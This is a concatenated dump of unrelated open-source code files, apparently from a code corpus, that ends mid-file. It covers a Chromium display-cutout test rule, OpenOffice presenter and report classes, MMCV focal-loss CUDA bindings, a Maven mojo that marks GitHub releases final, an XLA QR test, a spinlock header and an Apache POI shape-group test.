return getWindowAttributes().layoutInDisplayCutoutMode; } @Override protected float getDipScale() { return mDipScale; } public void setDipScale(float scale) { mDipScale = scale; } public void setDeviceHasCutout(boolean hasCutout) { mDeviceHasCutout = hasCutout; } } /** Listens to fullscreen tab events and tracks the fullscreen state of the tab. */ private class FullscreenToggleObserver implements FullscreenManager.Observer { @Override public void onEnterFullscreen(Tab tab, FullscreenOptions options) { mIsTabFullscreen = true; } @Override public void onExitFullscreen(Tab tab) { mIsTabFullscreen = false; } } /** The test page with the display cutout harness. */ private static final String DEFAULT_TEST_PAGE = "/chrome/test/data/android/display_cutout/test_page.html"; /** The default test timeout. */ private static final int TEST_TIMEOUT = 3000; /** The embedded test HTTP server that serves the test page. */ private EmbeddedTestServer mTestServer; /** The {@link DisplayCutoutController} to test. */ private TestDisplayCutoutController mTestController; /** Tracks whether the current tab is fullscreen. */ private boolean mIsTabFullscreen; /** The {@link Tab} we are running the test in. */ private Tab mTab; /** The {@link FullscreenManager.Observer} observing fullscreen mode. */ private FullscreenManager.Observer mListener; public DisplayCutoutTestRule(Class<T> activityClass) { super(activityClass); } @Override public Statement apply(final Statement base, Description description) { return super.apply(new Statement() { @Override public void evaluate() throws Throwable { // TODO(mthiesse): This class should be refactored to have an ActivityTestRule // rather than extending one. ChromeTabbedActivityTestRule rule = new ChromeTabbedActivityTestRule(); rule.startMainActivityOnBlankPage(); setActivity((T) rule.getActivity()); setUp(); loadUrl(getTestURL()); base.evaluate(); tearDown(); } }, description); } protected String getTestURL() { if (mTestServer == null) { mTestServer = EmbeddedTestServer.createAndStartServer( InstrumentationRegistry.getInstrumentation().getContext()); } return mTestServer.getURL(DEFAULT_TEST_PAGE); } protected void setUp() { mTab = getActivity().getActivityTab(); TestThreadUtils.runOnUiThreadBlocking(() -> { setDisplayCutoutController(TestDisplayCutoutController.create(mTab, null)); mListener = new FullscreenToggleObserver(); getActivity().getFullscreenManager().addObserver(mListener); }); } protected void setDisplayCutoutController(TestDisplayCutoutController controller) { mTestController = controller; DisplayCutoutTabHelper.initForTesting(mTab, mTestController); } protected void tearDown() { TestThreadUtils.runOnUiThreadBlocking(() -> { if (!getActivity().isActivityFinishingOrDestroyed()) { getActivity().getFullscreenManager().removeObserver(mListener); } }); mTestServer.stopAndDestroyServer(); } /** Set a simulated dip scale for this device. */ public void setDipScale(float scale) { mTestController.setDipScale(scale); } /** Change whether this device has a display cutout. */ public void setDeviceHasCutout(boolean hasCutout) { mTestController.setDeviceHasCutout(hasCutout); } /** Get the applied layout in display cutout mode. */ public int getLayoutInDisplayCutoutMode() { return mTestController.getLayoutInDisplayCutoutMode(); } /** Enter fullscreen and wait for the tab to go fullscreen. */ public void enterFullscreen() throws TimeoutException { enterFullscreenUsingButton("fullscreen"); } /** Exit fullscreen and wait for the tab to exit fullscreen. */ public void exitFullscreen() { JavaScriptUtils.executeJavaScript(mTab.getWebContents(), "document.webkitExitFullscreen()"); CriteriaHelper.pollUiThread( () -> !mIsTabFullscreen, TEST_TIMEOUT, CriteriaHelper.DEFAULT_POLLING_INTERVAL); } /** Wait for the main frame to have a certain applied safe area. */ public void waitForSafeArea(Rect expected) { CriteriaHelper.pollInstrumentationThread(() -> { try { Criteria.checkThat(getAppliedSafeArea(), Matchers.is(expected)); } catch (TimeoutException ex) { throw new CriteriaNotSatisfiedException(ex); } }, TEST_TIMEOUT, CriteriaHelper.DEFAULT_POLLING_INTERVAL); } /** Wait for the sub frame to have a certain applied safe area. */ public void waitForSafeAreaOnSubframe(Rect expected) { CriteriaHelper.pollInstrumentationThread(() -> { try { Criteria.checkThat(getAppliedSafeAreaOnSubframe(), Matchers.is(expected)); } catch (TimeoutException ex) { throw new CriteriaNotSatisfiedException(ex); } }, TEST_TIMEOUT, CriteriaHelper.DEFAULT_POLLING_INTERVAL); } /** Wait for the tab to have a certain {@layoutInDisplayCutoutMode. */ public void waitForLayoutInDisplayCutoutMode(int expected) { CriteriaHelper.pollInstrumentationThread(() -> { Criteria.checkThat( mTestController.getLayoutInDisplayCutoutMode(), Matchers.is(expected)); }, TEST_TIMEOUT, CriteriaHelper.DEFAULT_POLLING_INTERVAL); } /** Enter fullscreen on the subframe and wait for the tab to go fullscreen. */ public void enterFullscreenOnSubframe() throws TimeoutException { enterFullscreenUsingButton("subframefull"); } /** Get the applied safe areas from the main frame. */ public Rect getAppliedSafeArea() throws TimeoutException { return getSafeAreaUsingJavaScript("getSafeAreas()"); } /** Get the applied safe areas from the child frame. */ public Rect getAppliedSafeAreaOnSubframe() throws TimeoutException { return getSafeAreaUsingJavaScript("frameWindow.getSafeAreas()"); } /** Set the viewport-fit meta tag on the main frame. */ public void setViewportFit(String value) throws TimeoutException { JavaScriptUtils.executeJavaScriptAndWaitForResult( mTab.getWebContents(), "setViewportFit('" + value + "')"); } /** Set the viewport-fit value using internal APIs. */ public void setViewportFitInternal(@WebContentsObserver.ViewportFitType int value) { TestThreadUtils.runOnUiThreadBlocking(() -> mTestController.setViewportFit(value)); } /** Get the safe area using JS and parse the JSON result to a Rect. */ private Rect getSafeAreaUsingJavaScript(String code) throws TimeoutException { try { String result = JavaScriptUtils.executeJavaScriptAndWaitForResult(mTab.getWebContents(), code); JSONObject jsonResult = new JSONObject(result); return new Rect(jsonResult.getInt("left"), jsonResult.getInt("top"), jsonResult.getInt("right"), jsonResult.getInt("bottom")); } catch (JSONException e) { e.printStackTrace(); Assert.fail("Failed to get safe area"); return new Rect(0, 0, 0, 0); } } /** * Enter fullscreen by clicking on the supplied button and wait for the tab to go fullscreen. */ private void enterFullscreenUsingButton(String id) throws TimeoutException { Assert.assertTrue(DOMUtils.clickNode(mTab.getWebContents(), id)); CriteriaHelper.pollUiThread( () -> mIsTabFullscreen, TEST_TIMEOUT, CriteriaHelper.DEFAULT_POLLING_INTERVAL); } }
4,745
679
<gh_stars>100-1000 /************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * *************************************************************/ // MARKER(update_precomp.py): autogen include statement, do not remove #include "precompiled_sdext.hxx" #include "PresenterAnimator.hxx" #include "PresenterTimer.hxx" #include <osl/diagnose.h> #include <osl/time.h> #include <vos/timer.hxx> #include <boost/bind.hpp> #include <boost/function.hpp> namespace sdext { namespace presenter { //===== PresenterAnimator ===================================================== PresenterAnimator::PresenterAnimator (void) : maFutureAnimations(), maActiveAnimations(), mnCurrentTaskId(0), mnNextTime(0) { } PresenterAnimator::~PresenterAnimator (void) { PresenterTimer::CancelTask(mnCurrentTaskId); } void PresenterAnimator::AddAnimation (const SharedPresenterAnimation& rpAnimation) { ::osl::MutexGuard aGuard (m_aMutex); maFutureAnimations.insert(AnimationList::value_type(rpAnimation->GetStartTime(), rpAnimation)); ScheduleNextRun(); } void PresenterAnimator::Process (void) { ::osl::MutexGuard aGuard (m_aMutex); mnNextTime = 0; const sal_uInt64 nCurrentTime (GetCurrentTime()); ActivateAnimations(nCurrentTime); while ( ! maActiveAnimations.empty()) { sal_uInt64 nRequestedTime (maActiveAnimations.begin()->first); SharedPresenterAnimation pAnimation (maActiveAnimations.begin()->second); if (nRequestedTime > nCurrentTime) break; maActiveAnimations.erase(maActiveAnimations.begin()); const double nTotalDuration (double(pAnimation->GetEndTime() - pAnimation->GetStartTime())); double nProgress (nTotalDuration > 0 ? (nCurrentTime - pAnimation->GetStartTime()) / nTotalDuration : 1); if (nProgress <= 0) nProgress = 0; else if (nProgress >= 1) nProgress = 1; OSL_TRACE("running animation step at %f (requested was %f) %f\n", nCurrentTime/1e6, nRequestedTime/1e6, nProgress); pAnimation->Run(nProgress, nCurrentTime); if (nCurrentTime < pAnimation->GetEndTime()) maActiveAnimations.insert( AnimationList::value_type( nCurrentTime + pAnimation->GetStepDuration(), pAnimation)); else pAnimation->RunEndCallbacks(); } ScheduleNextRun(); } void PresenterAnimator::ActivateAnimations (const sal_uInt64 nCurrentTime) { while ( ! maFutureAnimations.empty() && maFutureAnimations.begin()->first <= nCurrentTime) { SharedPresenterAnimation pAnimation (maFutureAnimations.begin()->second); maActiveAnimations.insert(*maFutureAnimations.begin()); maFutureAnimations.erase(maFutureAnimations.begin()); pAnimation->RunStartCallbacks(); } } void PresenterAnimator::ScheduleNextRun (void) { sal_uInt64 nStartTime (0); if ( ! maActiveAnimations.empty()) { nStartTime = maActiveAnimations.begin()->first; if ( ! maFutureAnimations.empty()) if (maFutureAnimations.begin()->first < nStartTime) nStartTime = maFutureAnimations.begin()->first; } else if ( ! maFutureAnimations.empty()) nStartTime = maFutureAnimations.begin()->first; if (nStartTime > 0) ScheduleNextRun(nStartTime); } void PresenterAnimator::ScheduleNextRun (const sal_uInt64 nStartTime) { if (mnNextTime==0 || nStartTime<mnNextTime) { mnNextTime = nStartTime; ::vos::TTimeValue aTimeValue (GetSeconds(mnNextTime), GetNanoSeconds(mnNextTime)); PresenterTimer::ScheduleSingleTaskAbsolute ( ::boost::bind(&PresenterAnimator::Process, this), aTimeValue); } } } } // end of namespace ::sdext::presenter
1,740
3,748
// Copyright (c) OpenMMLab. All rights reserved #include <parrots/compute/aten.hpp> #include <parrots/extension.hpp> #include <parrots/foundation/ssattrs.hpp> #include "focal_loss_pytorch.h" using namespace parrots; #ifdef MMCV_WITH_CUDA void sigmoid_focal_loss_forward_cuda_parrots(CudaContext& ctx, const SSElement& attr, const OperatorBase::in_list_t& ins, OperatorBase::out_list_t& outs) { float gamma; float alpha; SSAttrs(attr).get<float>("gamma", gamma).get<float>("alpha", alpha).done(); // get inputs and outputs const auto& input = buildATensor(ctx, ins[0]); const auto& target = buildATensor(ctx, ins[1]); const auto& weight = buildATensor(ctx, ins[2]); auto output = buildATensor(ctx, outs[0]); sigmoid_focal_loss_forward_cuda(input, target, weight, output, gamma, alpha); } void sigmoid_focal_loss_backward_cuda_parrots( CudaContext& ctx, const SSElement& attr, const OperatorBase::in_list_t& ins, OperatorBase::out_list_t& outs) { float gamma; float alpha; SSAttrs(attr).get<float>("gamma", gamma).get<float>("alpha", alpha).done(); // get inputs and outputs const auto& input = buildATensor(ctx, ins[0]); const auto& target = buildATensor(ctx, ins[1]); const auto& weight = buildATensor(ctx, ins[2]); auto grad_input = buildATensor(ctx, outs[0]); sigmoid_focal_loss_backward_cuda(input, target, weight, grad_input, gamma, alpha); } void softmax_focal_loss_forward_cuda_parrots(CudaContext& ctx, const SSElement& attr, const OperatorBase::in_list_t& ins, OperatorBase::out_list_t& outs) { float gamma; float alpha; SSAttrs(attr).get<float>("gamma", gamma).get<float>("alpha", alpha).done(); // get inputs and outputs const auto& input = buildATensor(ctx, ins[0]); const auto& target = buildATensor(ctx, ins[1]); const auto& weight = buildATensor(ctx, ins[2]); auto output = buildATensor(ctx, outs[0]); softmax_focal_loss_forward_cuda(input, target, weight, output, gamma, alpha); } void softmax_focal_loss_backward_cuda_parrots( CudaContext& ctx, const SSElement& attr, const OperatorBase::in_list_t& ins, OperatorBase::out_list_t& outs) { float gamma; float alpha; SSAttrs(attr).get<float>("gamma", gamma).get<float>("alpha", alpha).done(); // get inputs and outputs const auto& input = buildATensor(ctx, ins[0]); const auto& target = buildATensor(ctx, ins[1]); const auto& weight = buildATensor(ctx, ins[2]); auto buff = buildATensor(ctx, outs[0]); auto grad_input = buildATensor(ctx, outs[1]); softmax_focal_loss_backward_cuda(input, target, weight, buff, grad_input, gamma, alpha); } PARROTS_EXTENSION_REGISTER(sigmoid_focal_loss_forward) .attr("gamma") .attr("alpha") .input(3) .output(1) .apply(sigmoid_focal_loss_forward_cuda_parrots) .done(); PARROTS_EXTENSION_REGISTER(sigmoid_focal_loss_backward) .attr("gamma") .attr("alpha") .input(3) .output(1) .apply(sigmoid_focal_loss_backward_cuda_parrots) .done(); PARROTS_EXTENSION_REGISTER(softmax_focal_loss_forward) .attr("gamma") .attr("alpha") .input(3) .output(1) .apply(softmax_focal_loss_forward_cuda_parrots) .done(); PARROTS_EXTENSION_REGISTER(softmax_focal_loss_backward) .attr("gamma") .attr("alpha") .input(3) .output(2) .apply(softmax_focal_loss_backward_cuda_parrots) .done(); #endif
1,654
915
package org.nzbhydra.github.mavenreleaseplugin; import com.fasterxml.jackson.core.type.TypeReference; import com.fasterxml.jackson.databind.ObjectMapper; import com.google.common.base.Joiner; import com.google.common.base.Strings; import okhttp3.Call; import okhttp3.MediaType; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.RequestBody; import okhttp3.Response; import okhttp3.ResponseBody; import org.apache.maven.plugin.AbstractMojo; import org.apache.maven.plugin.MojoExecutionException; import org.apache.maven.plugins.annotations.Mojo; import org.apache.maven.plugins.annotations.Parameter; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.util.Collections; import java.util.List; import java.util.Optional; import java.util.concurrent.TimeUnit; @SuppressWarnings("unchecked") @Mojo(name = "set-final", inheritByDefault = false, aggregator = true //Only call for parent POM ) public class SetReleaseFinalMojo extends AbstractMojo { @Parameter(property = "changelogJsonFile", required = true) protected File changelogJsonFile; @Parameter(property = "githubTokenFile", required = false) protected File githubTokenFile; @Parameter(property = "githubToken", required = false) protected String githubToken; @Parameter(property = "githubReleasesUrl", required = true) protected String githubReleasesUrl; protected String version = System.getProperty("finalVersion"); private ObjectMapper objectMapper = new ObjectMapper(); private OkHttpClient client; @Override public void execute() throws MojoExecutionException { if (Strings.isNullOrEmpty(version)) { throw new MojoExecutionException("Version property is empty"); } if (githubTokenFile != null && githubTokenFile.exists()) { try { githubToken = new String(Files.readAllBytes(githubTokenFile.toPath())); } catch (IOException e) { throw new MojoExecutionException("Unable to read token.txt", e); } } client = new OkHttpClient.Builder().readTimeout(25, TimeUnit.SECONDS).connectTimeout(25, TimeUnit.SECONDS).build(); if (!changelogJsonFile.exists()) { throw new MojoExecutionException("JSON file does not exist: " + changelogJsonFile.getAbsolutePath()); } getLog().info("Will set version " + version + " to final"); List<ChangelogVersionEntry> entries; try { entries = objectMapper.readValue(Files.readAllBytes(changelogJsonFile.toPath()), new TypeReference<List<ChangelogVersionEntry>>() { }); } catch (IOException e) { throw new MojoExecutionException("Unable to read JSON file", e); } Collections.sort(entries); Collections.reverse(entries); Optional<ChangelogVersionEntry> latestChangelogEntry = entries.stream().filter(x -> new SemanticVersion(x.getVersion()).equals(new SemanticVersion(version))).findFirst(); if (!latestChangelogEntry.isPresent()) { throw new MojoExecutionException("Unable to find entry with tag name " + version); } latestChangelogEntry.get().setFinal(true); try { objectMapper.writerWithDefaultPrettyPrinter().writeValue(changelogJsonFile, entries); } catch (IOException e) { throw new MojoExecutionException("Unable to update json file " + changelogJsonFile.getAbsolutePath(), e); } org.nzbhydra.github.mavenreleaseplugin.Release release; String url = githubReleasesUrl + "/tags/" + version; getLog().info("Calling URL " + url); Request.Builder callBuilder = new Request.Builder().url(url); callBuilder.header("Authorization", "token " + githubToken); try (Response response = client.newCall(callBuilder.build()).execute()) { if (!response.isSuccessful()) { throw new MojoExecutionException("Unable to find release with tag name " + version + ": " + response.message()); } try (ResponseBody body = response.body()) { release = objectMapper.readValue(body.string(), org.nzbhydra.github.mavenreleaseplugin.Release.class); } } catch (IOException e) { throw new MojoExecutionException("Unable to find release with tag name " + version + ". " + e); } org.nzbhydra.github.mavenreleaseplugin.ReleaseRequest releaseRequest = new org.nzbhydra.github.mavenreleaseplugin.ReleaseRequest(); releaseRequest.setTagName(release.getTagName()); releaseRequest.setTargetCommitish(release.getTargetCommitish()); releaseRequest.setName(release.getName()); releaseRequest.setBody(Joiner.on("\n\n").join(ChangelogGeneratorMojo.getMarkdownLinesFromEntry(latestChangelogEntry.get()))); releaseRequest.setDraft(false); releaseRequest.setPrerelease(false); try { setReleaseFinal(releaseRequest, release); } catch (IOException e) { throw new MojoExecutionException("Unable to set release to final: " + e); } } private void setReleaseFinal(org.nzbhydra.github.mavenreleaseplugin.ReleaseRequest releaseRequest, org.nzbhydra.github.mavenreleaseplugin.Release release) throws IOException, MojoExecutionException { getLog().info("Setting release final"); releaseRequest.setPrerelease(false); getLog().info("Calling URL " + release.getUrl()); Request.Builder requestBuilder = new Request.Builder().url(release.getUrl()).patch(RequestBody.create(MediaType.parse("application/json"), objectMapper.writeValueAsString(releaseRequest))); requestBuilder.header("Authorization", "token " + githubToken); Call call = client.newCall(requestBuilder.build()); Response response = call.execute(); if (!response.isSuccessful()) { throw new MojoExecutionException("When trying to set release final Github returned code " + response.code() + " and message: " + response.message()); } String body = response.body().string(); response.body().close(); try { org.nzbhydra.github.mavenreleaseplugin.Release effectiveRelease = objectMapper.readValue(body, org.nzbhydra.github.mavenreleaseplugin.Release.class); if (effectiveRelease.isPrerelease()) { getLog().error("Release is still prerelease"); } else { getLog().info("Successfully set release final"); } } catch (Exception e) { throw new MojoExecutionException("Unable to parse GitHub's release edit response: " + body, e); } } }
2,514
848
/* Copyright 2018 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/compiler/xla/client/lib/qr.h" #include "tensorflow/compiler/xla/array2d.h" #include "tensorflow/compiler/xla/array3d.h" #include "tensorflow/compiler/xla/client/lib/matrix.h" #include "tensorflow/compiler/xla/client/xla_builder.h" #include "tensorflow/compiler/xla/literal.h" #include "tensorflow/compiler/xla/statusor.h" #include "tensorflow/compiler/xla/test.h" #include "tensorflow/compiler/xla/tests/client_library_test_base.h" #include "tensorflow/compiler/xla/tests/literal_test_util.h" #include "tensorflow/compiler/xla/tests/test_macros.h" #include "tensorflow/compiler/xla/xla_data.pb.h" #include "tensorflow/core/lib/core/status_test_util.h" namespace { using QrTest = xla::ClientLibraryTestBase; XLA_TEST_F(QrTest, Simple) { xla::XlaBuilder builder(TestName()); xla::Array2D<float> a_vals({ {4, 6, 8, 10}, {6, 45, 54, 63}, {8, 54, 146, 166}, {10, 63, 166, 310}, }); xla::XlaOp a; auto a_data = CreateR2Parameter<float>(a_vals, 0, "a", &builder, &a); TF_ASSERT_OK_AND_ASSIGN( auto result, xla::QRDecomposition(a, /*full_matrices=*/true, /*block_size=*/2)); // Verifies that the decomposition composes back to the original matrix. // // This isn't a terribly demanding test, (e.g., we should verify that Q is // orthonormal and R is upper-triangular) but it's awkward to write such tests // without more linear algebra libraries. It's easier to test the numerics // from Python, anyway, where we have access to numpy and scipy. xla::BatchDot(result.q, result.r, xla::PrecisionConfig::HIGHEST); ComputeAndCompareR2<float>(&builder, a_vals, {a_data.get()}, xla::ErrorSpec(1e-4, 1e-4)); } XLA_TEST_F(QrTest, ZeroDiagonal) { xla::XlaBuilder builder(TestName()); xla::Array2D<float> a_vals({ {0, 1, 1}, {1, 0, 1}, {1, 1, 0}, }); xla::XlaOp a; auto a_data = CreateR2Parameter<float>(a_vals, 0, "a", &builder, &a); TF_ASSERT_OK_AND_ASSIGN( auto result, xla::QRDecomposition(a, /*full_matrices=*/true, /*block_size=*/8)); // Verifies that the decomposition composes back to the original matrix. // // This isn't a terribly demanding test, (e.g., we should verify that Q is // orthonormal and R is upper-triangular) but it's awkward to write such tests // without more linear algebra libraries. It's easier to test the numerics // from Python, anyway, where we have access to numpy and scipy. xla::BatchDot(result.q, result.r, xla::PrecisionConfig::HIGHEST); ComputeAndCompareR2<float>(&builder, a_vals, {a_data.get()}, xla::ErrorSpec(1e-4, 1e-4)); } XLA_TEST_F(QrTest, SimpleBatched) { xla::XlaBuilder builder(TestName()); xla::Array3D<float> a_vals({ { {4, 6, 8, 10}, {6, 45, 54, 63}, {8, 54, 146, 166}, {10, 63, 166, 310}, }, { {16, 24, 8, 12}, {24, 61, 82, 48}, {8, 82, 456, 106}, {12, 48, 106, 62}, }, }); xla::XlaOp a; auto a_data = CreateR3Parameter<float>(a_vals, 0, "a", &builder, &a); TF_ASSERT_OK_AND_ASSIGN( auto result, xla::QRDecomposition(a, /*full_matrices=*/true, /*block_size=*/2)); xla::BatchDot(result.q, result.r, xla::PrecisionConfig::HIGHEST); ComputeAndCompareR3<float>(&builder, a_vals, {a_data.get()}, xla::ErrorSpec(1e-4, 1e-4)); } } // namespace
1,688
679
/************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * *************************************************************/ package com.sun.star.report.pentaho.styles; import org.jfree.report.JFreeReportBoot; import org.pentaho.reporting.libraries.base.config.Configuration; import org.pentaho.reporting.libraries.xmlns.parser.AbstractXmlResourceFactory; /** * Todo: Document me! * * @author <NAME> * @since 12.03.2007 */ public class StyleMapperXmlResourceFactory extends AbstractXmlResourceFactory { public StyleMapperXmlResourceFactory() { } protected Configuration getConfiguration() { return JFreeReportBoot.getInstance().getGlobalConfig(); } public Class getFactoryType() { return StyleMapper.class; } }
433
1,711
<filename>modules/3rd_party/choc/platform/choc_SpinLock.h // // ██████ ██  ██  ██████  ██████ // ██      ██  ██ ██    ██ ██       ** Clean Header-Only Classes ** // ██  ███████ ██  ██ ██ // ██  ██   ██ ██  ██ ██ https://github.com/Tracktion/choc //  ██████ ██  ██  ██████   ██████ // // CHOC is (C)2021 Tracktion Corporation, and is offered under the terms of the ISC license: // // Permission to use, copy, modify, and/or distribute this software for any purpose with or // without fee is hereby granted, provided that the above copyright notice and this permission // notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL // WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY // AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR // CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, // WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN // CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. #ifndef CHOC_SPINLOCK_HEADER_INCLUDED #define CHOC_SPINLOCK_HEADER_INCLUDED #include <atomic> namespace choc::threading { //============================================================================== /** A minimal no-frills spin-lock. To use an RAII pattern for locking a SpinLock, it's compatible with the normal std::lock_guard class. */ struct SpinLock { SpinLock() = default; ~SpinLock() = default; void lock(); bool try_lock(); void unlock(); private: std::atomic_flag flag = ATOMIC_FLAG_INIT; }; //============================================================================== // _ _ _ _ // __| | ___ | |_ __ _ (_)| | ___ // / _` | / _ \| __| / _` || || |/ __| // | (_| || __/| |_ | (_| || || |\__ \ _ _ _ // \__,_| \___| \__| \__,_||_||_||___/(_)(_)(_) // // Code beyond this point is implementation detail... // //============================================================================== inline void SpinLock::lock() { while (flag.test_and_set (std::memory_order_acquire)) {} } inline bool SpinLock::try_lock() { return ! flag.test_and_set (std::memory_order_acquire); } inline void SpinLock::unlock() { flag.clear(); } } // choc::fifo #endif
918
418
<reponame>Ev4eny/OSignal2<gh_stars>100-1000 #import <Foundation/Foundation.h> NS_ASSUME_NONNULL_BEGIN @interface OneSignalUNUserNotificationCenterHelper : NSObject + (void)restoreDelegateAsOneSignal; + (void)putIntoPreloadedState; @end NS_ASSUME_NONNULL_END
104
1,431
<reponame>pjfanning/poi /* ==================================================================== Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==================================================================== */ package org.apache.poi.hssf.usermodel; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertSame; import static org.junit.jupiter.api.Assertions.assertTrue; import java.io.IOException; import org.apache.poi.POITestCase; import org.apache.poi.ddf.EscherContainerRecord; import org.apache.poi.ddf.EscherSpgrRecord; import org.apache.poi.hssf.HSSFTestDataSamples; import org.apache.poi.hssf.record.EscherAggregate; import org.junit.jupiter.api.Test; class TestShapeGroup { @Test void testSetGetCoordinates() throws IOException { try (HSSFWorkbook wb1 = new HSSFWorkbook()) { HSSFSheet sh = wb1.createSheet(); HSSFPatriarch patriarch = sh.createDrawingPatriarch(); HSSFShapeGroup group = patriarch.createGroup(new HSSFClientAnchor()); assertEquals(0, group.getX1()); assertEquals(0, group.getY1()); assertEquals(1023, group.getX2()); assertEquals(255, group.getY2()); group.setCoordinates(1, 2, 3, 4); assertEquals(1, group.getX1()); assertEquals(2, group.getY1()); assertEquals(3, group.getX2()); assertEquals(4, group.getY2()); try (HSSFWorkbook wb2 = HSSFTestDataSamples.writeOutAndReadBack(wb1)) { sh = wb2.getSheetAt(0); patriarch = sh.getDrawingPatriarch(); group = (HSSFShapeGroup) patriarch.getChildren().get(0); assertEquals(1, group.getX1()); assertEquals(2, group.getY1()); assertEquals(3, group.getX2()); assertEquals(4, group.getY2()); } } } @Test void testAddToExistingFile() throws IOException { try (HSSFWorkbook wb1 = new HSSFWorkbook()) { HSSFSheet sh = wb1.createSheet(); HSSFPatriarch patriarch = sh.createDrawingPatriarch(); HSSFShapeGroup group1 = patriarch.createGroup(new HSSFClientAnchor()); HSSFShapeGroup group2 = patriarch.createGroup(new HSSFClientAnchor()); group1.setCoordinates(1, 2, 3, 4); group2.setCoordinates(5, 6, 7, 8); try (HSSFWorkbook wb2 = HSSFTestDataSamples.writeOutAndReadBack(wb1)) { sh = wb2.getSheetAt(0); patriarch = sh.getDrawingPatriarch(); assertEquals(2, patriarch.getChildren().size()); HSSFShapeGroup group3 = patriarch.createGroup(new HSSFClientAnchor()); group3.setCoordinates(9, 10, 11, 12); try (HSSFWorkbook wb3 = HSSFTestDataSamples.writeOutAndReadBack(wb2)) { sh = wb3.getSheetAt(0); patriarch = sh.getDrawingPatriarch(); assertEquals(3, patriarch.getChildren().size()); } } } } @Test void testModify() throws IOException { try (HSSFWorkbook wb1 = new HSSFWorkbook()) { // create a sheet with a text box HSSFSheet sheet = wb1.createSheet(); HSSFPatriarch patriarch = sheet.createDrawingPatriarch(); HSSFShapeGroup group1 = patriarch.createGroup(new HSSFClientAnchor(0, 0, 0, 0, (short) 0, 0, (short) 15, 25)); group1.setCoordinates(0, 0, 792, 612); HSSFTextbox textbox1 = group1.createTextbox(new HSSFChildAnchor(100, 100, 300, 300)); HSSFRichTextString rt1 = new HSSFRichTextString("Hello, World!"); textbox1.setString(rt1); // write, read back and check that our text box is there try (HSSFWorkbook wb2 = HSSFTestDataSamples.writeOutAndReadBack(wb1)) { sheet = wb2.getSheetAt(0); patriarch = sheet.getDrawingPatriarch(); assertEquals(1, patriarch.getChildren().size()); group1 = (HSSFShapeGroup) patriarch.getChildren().get(0); assertEquals(1, group1.getChildren().size()); textbox1 = (HSSFTextbox) group1.getChildren().get(0); assertEquals("Hello, World!", textbox1.getString().getString()); // modify anchor assertEquals(new HSSFChildAnchor(100, 100, 300, 300), textbox1.getAnchor()); HSSFChildAnchor newAnchor = new HSSFChildAnchor(200, 200, 400, 400); textbox1.setAnchor(newAnchor); // modify text textbox1.setString(new HSSFRichTextString("Hello, World! (modified)")); // add a new text box HSSFTextbox textbox2 = group1.createTextbox(new HSSFChildAnchor(400, 400, 600, 600)); HSSFRichTextString rt2 = new HSSFRichTextString("Hello, World-2"); textbox2.setString(rt2); assertEquals(2, group1.getChildren().size()); try (HSSFWorkbook wb3 = HSSFTestDataSamples.writeOutAndReadBack(wb2)) { sheet = wb3.getSheetAt(0); patriarch = sheet.getDrawingPatriarch(); assertEquals(1, patriarch.getChildren().size()); group1 = (HSSFShapeGroup) patriarch.getChildren().get(0); assertEquals(2, group1.getChildren().size()); textbox1 = (HSSFTextbox) group1.getChildren().get(0); assertEquals("Hello, World! (modified)", textbox1.getString().getString()); assertEquals(new HSSFChildAnchor(200, 200, 400, 400), textbox1.getAnchor()); textbox2 = (HSSFTextbox) group1.getChildren().get(1); assertEquals("Hello, World-2", textbox2.getString().getString()); assertEquals(new HSSFChildAnchor(400, 400, 600, 600), textbox2.getAnchor()); try (HSSFWorkbook wb4 = HSSFTestDataSamples.writeOutAndReadBack(wb3)) { sheet = wb4.getSheetAt(0); patriarch = sheet.getDrawingPatriarch(); group1 = (HSSFShapeGroup) patriarch.getChildren().get(0); textbox1 = (HSSFTextbox) group1.getChildren().get(0); textbox2 = (HSSFTextbox) group1.getChildren().get(1); HSSFTextbox textbox3 = group1.createTextbox(new HSSFChildAnchor(400, 200, 600, 400)); HSSFRichTextString rt3 = new HSSFRichTextString("Hello, 